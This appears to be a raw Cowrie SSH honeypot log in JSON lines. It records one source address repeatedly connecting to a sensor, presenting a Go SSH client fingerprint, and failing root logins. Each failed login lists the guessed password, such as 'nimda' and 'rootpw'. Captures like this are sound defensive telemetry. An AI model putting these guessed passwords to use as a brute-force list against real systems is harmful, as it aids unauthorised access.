{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:45.115134Z","src_ip":"60.165.124.241","session":"46d7dbc11344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq5201314","message":"login attempt [root/Qq5201314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:48.512737Z","src_ip":"60.165.124.241","session":"46d7dbc11344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:49.769532Z","src_ip":"60.165.124.241","session":"46d7dbc11344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53908,"dst_ip":"10.17.0.5","dst_port":22,"session":"92d44600e7c7","protocol":"ssh","message":"New connection: 60.165.124.241:53908 (10.17.0.5:22) [session: 92d44600e7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:50.023102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:50.028217Z","src_ip":"60.165.124.241","session":"92d44600e7c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:53.309556Z","src_ip":"60.165.124.241","session":"92d44600e7c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cmss@2024","message":"login attempt [root/Cmss@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:54.749395Z","src_ip":"60.165.124.241","session":"92d44600e7c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:56.008773Z","src_ip":"60.165.124.241","session":"92d44600e7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33172,"dst_ip":"10.17.0.5","dst_port":22,"session":"6db3079eb557","protocol":"ssh","message":"New connection: 60.165.124.241:33172 (10.17.0.5:22) [session: 6db3079eb557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:57.267725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:57.272483Z","src_ip":"60.165.124.241","session":"6db3079eb557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:57.531356Z","src_ip":"60.165.124.241","session":"6db3079eb557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda","message":"login attempt [root/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:58.299208Z","src_ip":"60.165.124.241","session":"6db3079eb557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:59.540482Z","src_ip":"60.165.124.241","session":"6db3079eb557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37690,"dst_ip":"10.17.0.5","dst_port":22,"session":"106cc1ad4fcc","protocol":"ssh","message":"New connection: 60.165.124.241:37690 (10.17.0.5:22) [session: 106cc1ad4fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:59.811212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:59.819401Z","src_ip":"60.165.124.241","session":"106cc1ad4fcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:00.080833Z","src_ip":"60.165.124.241","session":"106cc1ad4fcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcASD123","message":"login attempt [root/zxcASD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:00.864920Z","src_ip":"60.165.124.241","session":"106cc1ad4fcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:02.124806Z","src_ip":"60.165.124.241","session":"106cc1ad4fcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40956,"dst_ip":"10.17.0.5","dst_port":22,"session":"72610ffc75e7","protocol":"ssh","message":"New connection: 60.165.124.241:40956 (10.17.0.5:22) [session: 72610ffc75e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:02.340863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:02.346723Z","src_ip":"60.165.124.241","session":"72610ffc75e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:02.593904Z","src_ip":"60.165.124.241","session":"72610ffc75e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd112211","message":"login attempt [root/Dd112211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:03.315837Z","src_ip":"60.165.124.241","session":"72610ffc75e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:04.560407Z","src_ip":"60.165.124.241","session":"72610ffc75e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43650,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d78f46e2bd5","protocol":"ssh","message":"New connection: 60.165.124.241:43650 (10.17.0.5:22) [session: 7d78f46e2bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:04.795001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:04.802506Z","src_ip":"60.165.124.241","session":"7d78f46e2bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:05.041688Z","src_ip":"60.165.124.241","session":"7d78f46e2bd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdioqASLKF12ZGSLDQEWRASSDgaqweEZ1","message":"login attempt [root/asdioqASLKF12ZGSLDQEWRASSDgaqweEZ1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:05.779299Z","src_ip":"60.165.124.241","session":"7d78f46e2bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:07.035747Z","src_ip":"60.165.124.241","session":"7d78f46e2bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46900,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eb6e28b1759","protocol":"ssh","message":"New connection: 60.165.124.241:46900 (10.17.0.5:22) [session: 2eb6e28b1759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:07.304848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:07.310016Z","src_ip":"60.165.124.241","session":"2eb6e28b1759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:07.566827Z","src_ip":"60.165.124.241","session":"2eb6e28b1759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpw","message":"login attempt [root/rootpw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:08.352697Z","src_ip":"60.165.124.241","session":"2eb6e28b1759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:09.618221Z","src_ip":"60.165.124.241","session":"2eb6e28b1759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50014,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d677f8322e","protocol":"ssh","message":"New connection: 60.165.124.241:50014 (10.17.0.5:22) [session: c8d677f8322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:09.840700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:09.845778Z","src_ip":"60.165.124.241","session":"c8d677f8322e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:10.095239Z","src_ip":"60.165.124.241","session":"c8d677f8322e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sanyixueyuan","message":"login attempt [root/sanyixueyuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:10.845282Z","src_ip":"60.165.124.241","session":"c8d677f8322e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:12.107929Z","src_ip":"60.165.124.241","session":"c8d677f8322e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52932,"dst_ip":"10.17.0.5","dst_port":22,"session":"50311a4cd117","protocol":"ssh","message":"New connection: 60.165.124.241:52932 (10.17.0.5:22) [session: 50311a4cd117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:12.365894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:12.370860Z","src_ip":"60.165.124.241","session":"50311a4cd117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:54:12.643654Z","src_ip":"60.165.124.241","session":"50311a4cd117","protocol":"ssh"}
